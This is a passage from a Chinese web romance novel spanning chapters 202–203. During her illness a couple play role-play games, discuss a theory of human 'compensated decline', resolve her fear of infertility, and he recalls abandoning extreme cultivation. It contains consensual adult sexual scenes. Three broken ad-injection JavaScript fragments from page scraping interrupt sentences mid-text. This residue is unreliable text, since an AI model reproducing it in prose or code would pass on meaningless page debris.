“真的有扇门,能两边来来去去就好了。”栖真晕乎乎间想得还挺美。 “也是。”风宿恒把被子拉上来,将栖真包住,她已经在发汗了:“你们那儿医术肯定更好。” “其实没有疗愈术好。”栖真道:“你们动动手指就能治伤,多神奇,超人一样。” 栖真越想越觉得是这么回事,感叹道:“是真的很神奇啊!科技一代比一代昌明,人怎么一代不如一代呢?你们对身体的探索,你们能做到的地步,几千年后的人类却做不到,而到了重离那一代,退化到连吃个小笼包都消化不了的境地。” 风宿恒问:“你怎么知道重离吃不了东西这件事,是他自己这样,还是他们那边的人都这样?” “听得出来,未来的人类就那样。”栖真起了谈话的兴致:“我听过一个叫递弱代偿的理论,说越原始越简单的物种存在度越高;而那些进化得越高级的物种,存在感就越来越弱。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “什么是存在度?”风宿恒试着去理解。 栖真觉得热,将被子往下扯:“就是到处都有的意思,数量庞大,状态稳定,几百万年都不会因为环境而改变。” 风宿恒拇指在栖真额头轻蹭,像帮她擦汗,又像只是习惯性地轻抚:“你是说,现代人的存在感比中土人弱,而重离那个时代的人存在感比你们还要弱?” 栖真嗯了一声:“正面看,发展科技,让社会分工更精细是人类主动推进的结果。这个理论却是倒过来的,人类经过一代又一代的繁衍,存在能力越来越弱,所以不得不发展科技,不得不对社会分工细分再细分,来补偿我们存在感的减弱,否则人就活不下去了。” 不确定风宿恒能不能理解她说的,栖真等了片刻才举例道:“你看中土的科技还没有发展到使用电力,大家不也活得好好的?两百年前,我们发现能用人力发电,一百年后,电开始进入我们的生活,就你上次看到的手机,就得充电,否则就是一块废铁。我们那里的生活根本离不开电,一旦全球断电,社会就会全面崩盘。可仔细想想,一项原本没有也不打紧的东西,为什么现在变成不可或缺?我们那个社会,比中土多出太多‘不可或缺’的事物了,供水、供电、供煤,还有互联网。这些东西在维持人类生存和发展的过程中,每一项都从没有、到可有可无、到越来越重要、到必需。而相对应的,我们借助这些东西的同时,自身的生存能力却越来越弱。” 风宿恒又用被子把人包好:“我不是很明白。” 栖真安慰:“没关系,就是一种假说,我们那儿理论和假说满天飞。” “不。”风宿恒却道:“我不明白的是递弱代偿是想说,人因为越来越弱,所以需要外界来补偿,还是可倚靠的东西太多,把人养得越来越弱?” “互相的吧。”栖真想了想,热得再次把被子往下扯:“人比其他生物高级得多,要成功繁衍就遵循一代比一代弱的原则,然后人类为了维持自己的存在感,必然会去发展更高维度的科技。而这些高科技弄出来后,借助它们多了,更加速人类的变弱。” “啊不行了,别让我想事,想不动了。”栖真有气无力:“你、我、重离聚首,就是贯穿几千年的老中青三代,坐下来开开茶话会,能聊的太多了。” “你还来劲了。”风宿恒嗤笑一声。 栖真蹬被子:“热啊。” 风宿恒又拉上来:“出身汗,风寒就退了。” 当襁褓呢? “用得着包成这样?”栖真嘟嘴:“又不是宝宝!” “就是宝宝啊。”风宿恒喜欢逗她,时不时弄弄她的感觉太好了。 栖真往上一耸,脑袋从被子里钻出来,用唇齿磨他耳垂。 风宿恒牙痒:“皮什么呢?” 栖真嘻笑:“爹爹才是神奇宝宝,我从来没奢望能在中土找到一个人,可以和他讨论这些的。你看看你现在说话,用词越来越不‘古人’了。” “岂能你天天说人类、社会、系统、科技,我天天和你之乎者也?” 翻身把人压在炕上,对上栖真的眼,那双眼在病中露出一种楚楚可怜的光,像无辜的鹿,风宿恒凶她:“生病就老实点。” 栖真把手伸下去,期期艾艾:“我现在弱,要代偿。” “没羞没臊。”风宿恒把她手拉出来:“你在病中。” “就没羞没臊怎么了?”栖真无赖似地磨蹭:“谁让我进化的?是谁?” 风宿恒无奈,也伸手一阵摸索,将栖真翻过去,就听身下人难耐地哼。风宿恒反手用被子把两人罩住,被下自成黑暗小天地,热气交织,还有特别熟悉的彼此身上的味道。 “不动,忍得住?”栖真难耐。 “没想怎么样,帮你发发汗。”风宿恒鼻尖在细嫩的后颈流连,将人笼在身下,这就是他窝里的小崽子,闻一闻,舔一舔,亲一亲,咬一咬,唇齿所到处,皆是温柔地疼惜。 “只是发汗,进来做什么?” “更快。” 栖真竟无法反驳,软趴趴地随波逐流,用鼻音哼唧了半晚上爹爹。 202. 第 202 章 托生病的福,栖真从没做过这么绵软的爱,不知风宿恒怎么克制本能成为她的抚慰剂,嵌入体内,让人充盈,给人安心,然后亲亲抱抱让她喊爹爹,然后…活生生把她抚睡着了。 好神奇!栖真饱睡一夜,早上醒来还在想这个问题。 第三日了…… 爹爹模式过去,栖真躺在床上有些舍不得。长者身份的风宿恒有担当又温柔,又支配又闷骚,她太喜欢了。 最后一天,风宿恒又会以什么面貌出现在她面前? 栖真听着外面动静,用力咳两声,果见风宿恒从外间进来,一切像昨日重演。 就见风宿恒站到床边,语气恭敬:“公主醒了。” 栖真…… 公主??? 好吧……公主。 毕竟到了第三日,她多多少少适应了风宿恒想一出是一出的风格,戏不能接不住,栖真轻咳一声:“醒了。” 拉开被子想下床,可风宿恒不让,就让她坐在床沿,他取了新袍子,抖开示意她伸手,一个袖管一个袖管帮她套,一个扣子一个扣子帮她系,系完还帮忙穿袜穿靴,弄齐整才让人下地。 等栖真站稳,又帮她束腰带,束完还不忘弯腰抚平衣摆。 风宿恒没说一句话,可举手投足间服侍得尽心尽力,小细节都不放过。 颜心也会伺候她穿衣,可不会有这样的仪式感,这样肃穆。清宫剧里的小桂子也很会伺候人,却不会像他这样毫无奴颜,即便态度恭敬,可就让被伺候的人心头小鹿乱撞,不知所措。 栖真从风宿恒的举动里,多多少少领会了今日游戏的精髓。 他不是在照顾她,他就是在伺候她。 栖真心里一乐,生起促狭心:“今天这套袍子好漂亮,新做的?” 红如烈火的罩袍,襟口和袖口是深蓝色和明绿色的线绣出来的窄边凤凰,下身有点像明朝的曳撒或者到脚踝的百褶裙,怎么看都不像大容和辛丰的风格,有几分少数民族服饰的味道。 风宿恒:“新做的,是付春贵族闺阁女子的服饰。” 他什么时候帮她准备的这套行头,她怎么不知道? 栖真:“那你帮我梳个付春女子的发型吧。” 栖真知道付春姑娘们喜欢编小辫,或灵巧,或繁复,很好看的。 风宿恒有时也会帮她挽发,但复杂的发型不知他会不会弄,既然今日这人毕恭毕敬,她自然得提点要求。 谁知根本难不倒风宿恒,帮她洗漱完后,他二话不说让栖真坐到妆镜前,拿起梳子帮她梳。 风宿恒梳得认真,惯施法术的长指分着几股黑色发丝,翻挑拉编间一根根小辫快速成型,栖真对着他镜中的手指看入迷,半晌才将视线移到风宿恒脸上。 男人态度恭敬,话不多,和昨天、前天,完全不一样。 栖真觉得有必要探探剧情:“为何你一个大男人在我房里伺候?没婢女吗?” 风宿恒从善如流:“公主钦点阿畅近身伺候的。” 栖真两滴汗:“我这个公主还挺开放?” “公主的爹爹事事依着公主,公主自然想要什么都能得到。”风宿恒说完这句,在镜中对上栖真视线,但一触即分,又专注手中的编发。 呃,公主的爹爹? 还是连续剧模式! “这样啊。”栖真道:“阿畅来我身边前,做什么的?” 风宿恒道:“御前侍卫。” 栖真心里笑到肚痛,接戏道:“阿畅一身本事,肯定不甘心来我闺中伺候吧?” 风宿恒正色道:“一开始不甘心,现在心甘情愿。” 栖真道:“为何?” “因为公主您。” 犯规!让他放开编,这人居然趁机说情话,栖真眼珠一转,板起脸:“让你伺候,没让你调情。” “阿畅逾矩了。”风宿恒道:“肺腑之言,不敢欺瞒公主而已。” 房中一时静声,只有风宿恒拿起梳子又放下的声音,栖真在镜中观察他的神情,她凶了他一句,他怎么不生气? “梳好了,公主满意吗?” 栖真一看,呵,她的阿畅还能整这样的发型?一秒魂穿新疆人,一蓬小辫太可爱了。 又见风宿恒打开妆盒,取出螺黛:“画眉。” 如果是夫君阿畅,大概会抬起她下巴,固定住她的脸画,可侍卫阿畅不会,侍卫阿畅只会弯腰,一点不碰她,公事公办地画。 全程没有视线接触。 栖真看着他,想起风宿恒说过曾经为了攻城略地,为了取得那些贵戚的信任,不得已扮做各种角色,所以那些年,他应该揣摩过不少小人物,扮谁像谁,演技出神入化。 想到这里,栖真心被针扎了一下——为风宿恒从小到大的境遇,为他身上曾经担负的压力。 忽然就想抱抱他。 可栖真没动,什么都没做,只是由他画。 等画完朝镜中看了一眼,看得她都移不开眼,半晌才道:“原来粗眉也那么好看。” 风宿恒道:“淡眉温柔,粗眉英气,今日这般与服饰相配。” 确实,大画家的审美很靠谱。没有一个女人能拒绝得了变美这件事,侍卫阿畅单凭这番伺候人的本事,就不愁失业啊。 栖真心里酸酸的,面上却笑得收不住。 今日早膳丰盛,小笼包、水晶饺、肉丸汤、甜枣糕、鲜虾蔬菜粥……栖真美美坐到院中,觉得自己这“假公主”比“真皇后”当得还奢侈。 风宿恒倒了醋碟,醋里放一点酱油,一点香油,这是栖真最喜欢的三合一,他把碟子放到栖真面前,恭恭敬敬站在旁边。 栖真吃了一个小笼包,回眼一看:“站旁边做什么?坐下吃啊。” 风宿恒不动:“伺候公主用膳。” 栖真罢筷:“谁要伺候?” 风宿恒垂眼不说话了。 栖真…… 她在这里吃得欢,他在旁边站着看,过得去吗?栖真拍了拍长条凳:“公主让你坐下一起吃。” 谁知风宿恒道:“近则不恭,公主慢用。” 栖真…… 行!你入戏,你敬业,你玩游戏最认真!栖真有点不开心,公主不会因人拒绝同食不开心,但栖真会! 她知道她又出戏了,可出戏就出戏,今日是女尊剧本,还不是她想怎样就怎样? 栖真:“要么吃,要么走,这样站着,我怎么吃得下?” 话音刚落,风宿恒真地转身走开,回屋抱出一堆衣物,放到院子另头的大盆里,提水倒入盆中,在板凳上坐下,支起洗衣板搓起来。 栖真惊讶无言,脑中闪过不知哪儿看来的一句话——在上位者要有城府,不要明确表现好恶,因为太明显的好恶对手下人都是一场灾难。 这话兴许放在这里不合时宜,可碰到这么乖又有原则的“仆人”,真让人无奈。 栖真瞪着满桌早膳,她有时脾气不怎么好,若跟自家夫君置气,不吃也就不吃了,可现在面对这桌,为着刚才一刹那的感悟,她竟不敢不吃。 栖真重新动筷,慢慢吃起来。 一顿饭功夫,倒是想了很多。 越是上位者越受人依仗,可上位者也是人,是人就有情绪波动,她是做个随心所欲、给下属带来猜疑和诚惶诚恐的上位者,还是当一个情绪平稳、泰山崩于前而面不改色,得人信任的上司呢? 栖真咬了口水晶饺,看向不远处勤勤恳恳浣洗的男人。 心思转到风宿恒身上,她察觉和风宿恒认识至今,他就一直是上位者的身份,仔细回想,风宿恒有表现过对某人或某物的憎恶吗? 想来想去,也就当初把小包子从空中扔下,得知她被困万仞山时的失态,说这辈子再不让你们见面时的赌气……风宿恒不是不会失控,但这个男人每次失控,好像都是为了她。 但是对别人,风宿恒从不这样。 他会评人功过高下,但出发点从不是自己的喜恶,甚至对着他那冷酷无情的父皇,风宿恒也只是说,恨这种感情太激烈,我没多余力气去恨,也没必要。 早上起床已经不烧了,栖真才有胃口吃得下,把桌上美食扫荡一遍后支着头,就看着远处的风宿恒发呆。 风宿恒见她吃完,过来将桌面收拾干净,将碗盘放到另一个大盆里,端到洗衣盆旁,看来洗完衣服要接着洗碗。 他不主动攀谈,沉默地活像大宅后院里老实巴交的哑仆,尽职干好事,不媚上,不邀宠。 栖真冷眼看他一路靠近又离开,看他继续专注地干活。 大容王干活利落,要让他底下那帮宰相将军们看见,会不会眼珠子掉下来? 栖真在桌上轻磕手指,这剧本……她若不主动些,他是不是会把忠仆一角一路演到天黑,然后两人沉默地过上一天? 至此栖真心里不免疑惑,莫非这才是她写的第一张字条?毕竟“掌控”并不一定是他掌控她,也完全可以颠倒过来,是她掌控他啊! 想到这里,栖真叫一声:“阿畅。” 风宿恒停手,闻言过来。 栖真示意:“坐。” 阿畅不肯坐下和公主同食,但公主赐座到没有拒绝,拉开凳子,坐在下首。 这般面对面,好像面试,栖真清了清嗓:“好无聊,唱个曲来听听。” 风宿恒……… “公主想听什么曲?” 栖真观察他表情:“都可以,好听的就行。” 阿畅也不扭捏,哼了个调开始清唱:关关雎鸠,在河之洲,窈窕淑女,在河之洲…… 歌不长,风宿恒把歌词重复两遍,调子婉转缠绵,朗朗上口。 这还是栖真第一次听风宿恒唱歌,当他把自己声音放入低音域,出来每一句都清沉,震颤心膜。 楞楞地听他唱歌,栖真脑中一阵激越,从头到脚。 实在太苏了! 她吞咽,稳下心神:“你看了我的《佳文观止》?” 《关雎》是她放在《佳文》里的一篇,没特意拿出来跟风宿恒说过,也不知他何时看到的。 风宿恒道:“翻到过。” “什么时候配的曲?” “适才。” 栖真瞠目:“适才?” “公主适才不是提出要听曲?” “所以你现谱一个?” 风宿恒嗯一声。 栖真咬唇,生怕自己笑出声,风宿恒啊风宿恒,是不是在你身上没有最苏,只有更苏? “我不信。再唱一遍,还是《关雎》,重起个调。”栖真考他:“不能和刚才一样。” 风宿恒看了眼她放在桌上又开始掐合谷的手。 这双手如今碰不得冷水,提不起重物,操持不了家务,连提笔都难,只能小心翼翼养着,所以才养得这般纤长细巧,肤如凝脂。 风宿恒再抬头时启口唱道:“窈窕淑女,君子好逑;寤寐求之,辗转反侧,琴瑟友之,钟鼓乐之……” 新曲也很成熟,和歌词极其熨帖。 若说前曲是君子长立河洲,为只可远观不可近表的心上人矜持地浅吟低唱,那新曲另起一调,活像公子欲壑难填,满心悲愤,付出所有仍求之不得,简直断人心肠。 栖真感受调中悲凉之意,更为风宿恒眨眼功夫再出新曲惊诧不已。 “怎么做到的?”栖真问:“早就想好的吧?” “不用想,看着公主脑中就有了。” 如果这真是一场面试,这波操作必须给满分,“所以……”栖真问:“阿畅看着我会寤寐思服、辗转反侧?” 风宿恒低眉肃敬道:“不敢。” 他越是这样子栖真越想戳他,带点挑衅道:“若没有,何来不敢?” 风宿恒不说话了。 栖真道:“阿畅,我问你话, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你是不是得老实答?” 风宿恒道:“知无不言。” 栖真道:“我让你做的事,你是不是都去做?” 风宿恒道:“无所不为。” 栖真盯着他,再次问:“阿畅是不是为我寤寐思服、辗转反侧?” 风宿恒被她紧逼,终于凝视来,用一种不冒犯但直抒胸臆的语气给出肯定回答:“是。” 栖真莞尔,双手托腮煞有介事:“可父王要我嫁到草原去,要我去和亲,怎么办?” 风宿恒没表现出任何意外,接得很快:“公主想嫁,阿畅陪你去和亲;公主不想嫁,我带你远走高飞。” 球又踢回来! 栖真颇有些惆怅:“不嫁不行,难道看着两国连年征战?” 风宿恒顺应道:“那便嫁。” 栖真瞪他:“你就看着寤寐思服之人和别人夜夜春宵?” 风宿恒道:“公主爽到就好。” 栖真差点一口血喷出来。 缓了半天气,栖真一掌拍在桌上:“我那草原夫君数不过三,哪里来得爽?” “公主说这些……”风宿恒道:“难道希望阿畅去教驸马怎么让公主爽?” 什么对话?两神经病吧! “教不会呢?”栖真还上瘾了:“你亲自上阵?” 风宿恒道:“阿畅原本就是公主的人!” “所以……”栖真眼尾上挑,眼含秋波:“你在教我红杏出墙?礼义廉耻呢?” “公主不要礼义廉耻,阿畅自会满足你;公主要礼义廉耻,我帮你假死脱身,再满足你。” 栖真呆了片刻才找回声音:“阿畅若娶妻,会忍受自己娘子红杏出墙?” “做我娘子,没可能出墙,她必爱我至深。” 栖真…… 轻轻切了一声:“那么自信,怎会有双龙峡落石一问?” 风宿恒头铁:“阿畅听不懂。” 行,装! 栖真眨巴眼睛:“本公主和你娘子,只能选一个。” “不成立。”风宿恒还是敛目低眉,就事论事的语气:“公主要么是阿畅的娘子,要么阿畅这辈子就没有娘子。” 栖真终于脱口:“如果我这辈子都生不了孩子,阿畅还娶我当娘子吗?” 快问快答至今,风宿恒没有一丝犹豫,好像无论怎么荒诞的问题都接得住,直到此问一出他停住了,看向栖真的眼神瞬间变得锐利,但立马恢复如常,反问道:“若阿畅数不过三,公主还嫁我当娘子吗?” 栖真没被话术绕开,目光灼灼盯着他:“刚才一问,你还没答。” “公主的回答就是阿畅的回答。” 栖真再把刀往下切一层:“阿畅你刚才说了,只要我问的话你都会老实回复,对不对?” 风宿恒咬牙,腮帮微鼓:“是。” 栖真凝视他的眼,一字一句问:“我是不是腹部重创,再不能生孩子,而你一直瞒着我?” 风宿恒道:“公主何来此问?” 栖真不给他拖延时间的机会,施压道:“你只要回答,是,还是不是!” 风宿恒眼神不退:“没有,不是。” 栖真面露诧异:“不是?” 风宿恒眉眼坚定,信誓旦旦:“会有的。” 栖真蹙眉,更加疑惑了。 明明看见董未给她诊脉时风宿恒阻他多言的眼神,那时她便起疑,特意在素青临走前套了套话,说自己身体恢复没有想象中好,生不了孩子真地好遗憾云云。素青说慢慢来,好好调理,以后的事谁知道呢。 素青没否认她不孕,所以,真相确实如此? 难怪这两日风宿恒直接在里面,以前明明都体外的,是因为知道她无法有孕,所以再用不着避孕? 栖真的疑惑随风宿恒的行为升到顶点,才借这番对谈逼他一句实话。 谁知他直接否认! 风宿恒道:“公主明显心有疑虑,不妨将疑虑源头道出,也好让阿畅为公主答疑解惑。” 栖真犹豫,但还是道:“素青说的。” 风宿恒眯了眯眼:“她怎么跟你说的?” “我问她为何骨头长好了,腹痛却不止,她说因为我腹部受伤过重,我问会不会对未来的生活有影响?她说不会再有孩子了。” 风宿恒听罢,直截了当:“素青不可能这么说。” 栖真想回,我为何骗你,一转念却道:“所以,你知道我问这个问题,素青会怎么回?” 若风宿恒这么肯定她说的不是事实,是不是代表他和素青早对“事实”通过气,早备好了说辞? 风宿恒却道:“素青不可能说出这般无稽之谈,她每日向我禀报,从未说过什么不会再有孩子的话。” 栖真虎着脸:“那为何我现在还要每日吃药?” 听她这么问,风宿恒眼底释然,反而放下心,因为栖真能接这么一句,代表她之前就在瞎诌,是套他话。 “你体质弱,腹部重创是事实,所以要喝药调理,方子是素青留下的,但从没什么难以受孕,公主想什么呢?” 栖真呆呆坐着,又问一句:“当真?” “原本就是如此。”风宿恒斩钉截铁:“能否有孕天注定,纵使一时没有,叫你草原夫君多努力,别疑神疑鬼怨天尤人。” 栖真鼓了腮帮,唉得叫一声:“什么疑神疑鬼怨天尤人,怎么跟我说话呢?” 风宿恒回答得越随意,对她越凶便越可信,所以确实是她错解素青意思? 也是,素青没否认,但也没承认啊。 喜悦盈满心间,担了这么久的心终于放下,风宿恒的回答给了她信心——她只是身体不好,需要调理,并非从此不孕。 感觉就像自以为得绝症,结果被医生一顿嘲,一个小瘤子,还绝症,想什么呢你? 栖真眉梢透出喜色,虚张声势道:“得罚你。” 203. 第 203 章 刚因风宿恒而心定,翻脸就要罚,算什么道理?可没办法,谁叫栖真一开心就狎昵。 风宿恒抬眉,好像在问,怎么罚? 栖真眼珠一转,第一天他多狠啊,如今易地而处,角色转换,怎能放过他? 坐正了,栖真问:“阿畅有过女人吗?” 风宿恒显得很老实:“没有。” 栖真道:“哦,所以你就靠五指功纾解欲望吗?” 风宿恒…… 栖真顶着那头娇俏的发辫,托着腮,像个天真无邪的少女,出口的话却很邪恶:“我,要,看。” 风宿恒无语地瞅着她。 栖真维持托腮的动作,对他挑衅地挑眉。 风宿恒无奈地摇头轻笑,起身往茅屋去。 栖真反而愣住,明明在等他羞怒、等他拒绝,没想到这男人这么爽快,起身就回屋去。 风宿恒开门当口还回身,对栖真道:“公主不来看?” 栖真咬牙,哐一下起身:“谁说不来?” 风宿恒唇角微漾,干脆转身进房。 栖真也很干脆,雄赳赳往茅屋走,刚到门口就听房内很轻的一声喘。 栖真呼吸微窒,在门口挪不动腿,脸上青一阵红一阵,一想到风宿恒在里面做什么,就鸡皮疙瘩掉了一地。 进去啊! 自己出题,人家解题,她还不敢看了?就该进去大马金刀往他面前一坐…… 栖真心越跳越快,只听得见屋中传出男人性感的声音硬生生往耳里钻。 他们那么熟稔,她会不知他动情时的嗓音?可谁叫每次她都是他身下女主角,没机会像今日这般抽离,彻底当个听众,在墙外听壁脚。 一出活春宫,到底饶过谁? 她果然是YY上的巨人,行动上的矮子。矮子腿软,收回要推门的手,蹑手蹑脚坐回院中。 可不知房里存心的还是怎么,她一坐回去,声音就响上几分,非要让可恶的整蛊人听见不可。 栖真浑身发烫,在长条凳上坐立不安,催着自己想些别的也好分分心。 遇见前的几十年,风宿恒就是这般靠肖想梦中的她来自我纾解吗? ……魂游天外久了,也不知房中声音何时歇,视野里出现一只手,将她的注意力拉回来。 手自然是风宿恒的,他衣衫齐整站在她面前。 栖真一看他的手,嘭地跳起来,脸红到煮熟的虾子都比不上:“干吗给我看!” 风宿恒:“回来复命。” 栖真实在受不了,比变态,她这辈子就别想超过风宿恒。 风宿恒还在问:“公主为何不进来?” 栖真跺脚:“闭嘴。” “看来公主的草原夫君不行啊。”风宿恒淡淡道:“成婚一年,没教公主通点人事?有贼心没贼胆,脸皮比小姑娘还薄。” “干活去!”栖真又羞又恼,冷着脸下令。 风宿恒舀了缸里的水洗手,背对她道:“小包子说人至贱则无敌,我还以为公主教他的,如今看来不像,公主该在阿畅身上练练手。” “练怎么让自己至贱?”栖真没好气道。 风宿恒居然瞥她一眼,认真道:“对。”言罢继续洗衣服去。 论想整人最后把自己整了是有多窝囊,栖真甩袖进屋,一入门鼻尖窜入熟悉的味道,提醒她前一刻屋中的旖旎和她的怂样。 栖真沮丧,风宿恒说得没错,知道自己该怎么做是一回事,拉下脸去做是另一回事。 一个人认知再广,心智不够,都是纸上谈兵。 风宿恒拉得下脸的,她不行;风宿恒做得出来的,她偏偏做不到,所以像风宿恒这样的人兵来将挡水来土掩,即便屈居人下,最后落下风的都不是他。 尤其今日是她主导,是她制定规则,结果照样如此。 去谴责人家不听话?那真冤枉,他做尽吩咐,每项都完美得让人挑不出错处,还能反过来用自身强大让上峰自惭形秽,深深体会镇不住他的挫败。 奇怪的是,他做主人时她没这种感觉,他为爹爹时她也没这种感觉,偏偏退后一步俯首称臣,居然让她打心底确认他的无坚不摧。 栖真坐了片刻,起身出去,搬个小凳子坐到洗衣的阿畅旁边。 风宿恒看她一眼,继续低头洗。栖真看着他把她昨日穿的兜肚搓好,拧干,放到旁边干净的木盆里,悄悄深呼吸半天,才语气平静地开口:“阿畅有没有讨厌吃的菜?” 风宿恒开始洗下一件:“没有。” 栖真盯着他手里这件,眼眶更是发热,表面却不显,继续问:“有没有厌恶之人?” 风宿恒道:“没有。” 栖真道:“那这样问吧,阿畅最不喜欢什么事情?” 风宿恒道:“和公主生离死别。” “除了我之外的事。”栖真道:“我是说平时生活中的好恶,比如你一直知道我不喜欢剥虾,不喜欢吃大蒜,不喜欢坐硬制椅,阿畅应该也有吧?” 又补充道:“我们一起生活那么久,照理说这些不必拿来特意问,但我想了一圈,真地想不起何时听你说过自己有不喜欢的东西。” “一时的不喜欢当然有。”风宿恒道:“上次回万丈城,听钟雄和尚可薪吵了一个时辰,听得烦;那天在山上吃到一道菜太咸,我就一筷子都不想动;前天你和容绽开了一下午会,晚上我回来都没结束,我就头很疼……可若公主问的是长久的不喜欢,惯常的厌恶,答案是没有。” 栖真托腮,问:“从常理上说……” “从常理上说……”风宿恒道:“这不正常,是吗?” 没有一个人,会没有厌恶的东西。 栖真道:“从常理上说,你刚才虽然说的是“一次”,背后却是“惯常”。你不喜欢浪费时间在没效率的口角上,不喜欢一道菜偏离你心中的味道,不喜欢你娘子在该迎你回家时,还在处理别的事情。” “不是这样。”风宿恒笑了一笑,道:“尚可薪和钟雄吵了五年,很多时候我听着挺有意思,他们吵,才需要第三人,才有制衡。” “单单一道鸡汤,在辛丰、在大容、在付春、在大小陈的饭馆里风味都不尽相同,根本没有标准,我可以说出每道汤的优缺点,其他菜式也一样,不存在发自内心的厌恶。” “而公主和容绽商讨,很多时候我也想听,你和他开会,还是和万叶飞开会,于我多多少少都有启发。” “不喜欢的食材就更没有了,一种食材这般烧兴许吊不出鲜味,换种烧法便可发挥长处,为何要讨厌它呢?” 栖真蹙眉。 能理解风宿恒的意思,可一个人真能对每样东西都保持高度理智?难道风宿恒身上就不存在人类的昏庸? 栖真提了个要求:“今天晚上阿畅弄烤鱼吧,还有烤鱼骨,就像锦驰镇一样。” 风宿恒笑道:“遵命。” 栖真手肘支在膝上,还是托腮道:“可这样不奇怪吗?比如阿畅今天给我准备的这套衣服,我看一眼就喜欢,可那时我不会去想,啊,穿一次付春的服饰,对我了解付春很有帮助;或者这套服饰可以让我变得好看,在阿畅面前穿最好了。大事值得以价值判断,小物怎可能桩桩如此?就那一眼,喜欢便是喜欢,不喜欢便是不喜欢,这样的感觉,你都没有吗?” 风宿恒继续手里的搓洗,语气平和道:“无论大事小物,若都冠以好恶做判断,可能我都活不到现在。” 栖真在板凳上坐正了。 就听风宿恒道:“一个人一无所有时,只能想办法去利用每一个遇到的人,用好每一份到手的物,让每件碰上的事成为机会。个人好恶会成为障碍,衡量价值才是生存之道。” “可是……”栖真道:“脱离一无所有的状态后,这种思维模式却不跟着改变吗?” “为何要改变?”风宿恒问:“或者说,什么叫脱离一无所有?能吃饱一顿饭叫脱离一无所有?赚十万两银子叫脱离一无所有?还是成为辛丰太子算脱离一无所有?” “对我来说都不是。”风宿恒道:“得到你之前,我一直一无所有。” 栖真哑口。 风宿恒若嬉皮笑脸道这番话,她还能斥一句,谁让你说情话?可他洗着衣服,做着最平常的事,语气平和地闲聊,一切都彰显这并非情话,风宿恒就是在说对他而言最真实的东西。 栖真道:“可你现在得到了,还是不能放任好恶先行?” 风宿恒道:“那么多年早习惯了,我没觉得什么不好。” 栖真看着他浸在冷水里的手因搓洗泛红,半晌才轻轻冒出一句:“阿畅,你脑里装的操作系统怎么和别人不一样?” 风宿恒问:“什么操作系统?” 栖真摇了摇头:“没什么。” 终于把一盆衣服洗完,风宿恒在院子一头系着的晾衣绳上挂起,回来见栖真还坐着发呆,便继续坐下洗碗,道:“不一样也不是什么大事,表现出来是一样的就可以了。况且我又不是不知好恶,我只是将喜欢都给了你。对着你,哪里还有工夫去判断价值,我只知道一件事,我喜欢你,爱你,想要你,这就是全部。” 栖真凝视他的眼:“以前我一直觉得‘恋爱脑’三个字是贬义,但在你身上我好像看到了极致的恋爱脑。” 风宿恒微笑道:“我虽然听不懂,但我知道任何东西到了极致都是纯粹的,不纯粹就到不了极致,所以我觉得兴许我不是你说的什么极致恋爱脑。” “你这般纯粹了,还不极致?” 风宿恒摇头:“我不求极致,不求纯粹,极致和纯粹弄不好会是一场灾难。” 栖真问:“怎么说?” 一个个碗碟在手中擦到锃亮,风宿恒道:“我当年在驼暮山修炼一年,一年将至时我就知道自己入了极灭境,继续修炼的话,我有自信,三年必入绝迹。” “绝迹?”栖真问:“很厉害吗?” 风宿恒道:“中土上一个入绝迹境的修行者寒月大师已经过世百年,而绝迹境是否还能往上,没人知道。” 栖真明白了,绝迹境就是目前为止修炼一途的最高级。 “阿畅那么厉害?”栖真想给他点赞:“你去驼暮山那一年,二十都不到吧?” “十八。”风宿恒记得很清楚:“那一年我刚过十八。” 栖真问:“所以你现在入绝迹了?” “没有。”风宿恒道:“我放弃了。” 栖真意外:“为什么?修行这种事应该会上瘾吧,越强的人越想追求更上一层的境界。” “一点没错。”风宿恒道:“可问题就出在这儿。” 他把一个擦好的碗放到盆中:“我从小神到全尽,又一路到极灭,每突破一层我便越发想去追求下一个境界,可当我站在极灭的当口,我忽然发现自己有点魔楞。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 栖真问:“魔楞?走火入魔吗?” 风宿恒道:“不是修炼上的走火入魔,而是性情上,越来越绝情灭性。” 栖真蹙眉。 风宿恒解释道:“鼻间再无花香,眼中再无日月,不再为人间疾苦悲痛,更不会为事欢笑,究其原因就是太投入!所有的时间我都拿来沉浸在修行中。你还记得我们在驼暮山去的那个山谷吗?谷中有六株不同颜色的梅花树。” 栖真点头:“当然记得,我们在树下喝酒来着。” “当年我常驻谷中修炼,却从未注意过那边还种有如此奇特的六梅树,直到有次听派中人说三天前那六梅树第一次开花,好漂亮云云。我回谷中时特意看了一眼,就那一眼,把我定在树下,走不动了。” “照理说,整个门派就数我待在谷中时间最长,六梅花开,理应是我最先发现,可事实上所有人都知道,就我不知。那天我在树下想了很久很久,我想我到底为何拼命修炼?是,我当然知道修炼是为了让自己变得更强,而变得更强是因为我想掌控自己命运,能去寻梦中人,而我想找到梦中人是因为我想要她,和她在一起。” “可是……”风宿恒终于停下手中擦洗,看向栖真:“我那日意识到一个问题,即便找到她,她又为何和我在一起呢?我连六梅树开花都看不到!已经很久很久了,我全副心神都在修炼上,开始变得对周遭漠不关心,对情感、美、奇闻异事都不知所谓。而且我很清楚,越往下修炼,这种状态会越严重。那天的最后我问了自己一个问题,我的意中人,到底为何要跟这样冷漠的人过一辈子?” “明明早几年的时候,我还想着多学、多看、多想、多试,让自己成为一个无所不能的人,到底何时起,我逐渐偏离,投入纯粹的修炼中去了?” 风宿恒看栖真听得目不转睛,轻笑道:“那天我被自己吓出一身冷汗,后来没过几日,父皇就发现我在驼暮山,一道圣旨下到山上,我便顺水推舟离开了,虽说当时是为了不让驼暮为难,其实内里我也想缓一缓。” “下山后,我一改清修做派,混迹市井、到处交友、花天酒地、寻欢作乐,哪里热闹往哪里钻。很快我发觉身上那种绝情灭性的劲头慢慢消退,现在想想若非六梅树当头棒喝,兴许今日你夫君就是修行榜上的魁首,但应该,也不是如今这副模样了。” “嗯。”栖真道:“兴许都未必是夫君。” 风宿恒笑不可遏:“对,兴许未必是夫君。” 栖真挠了挠脑门:“我怎么听自己男人去花天酒地、寻欢作乐,还感到无比庆幸呢。” 风宿恒摇头:“此花非彼花。” 栖真怂恿:“你就没想真地去花一下?权当积累经验。” “这不行的。”风宿恒道:“我要那种经验做什么?有了你,什么经验都会有。” 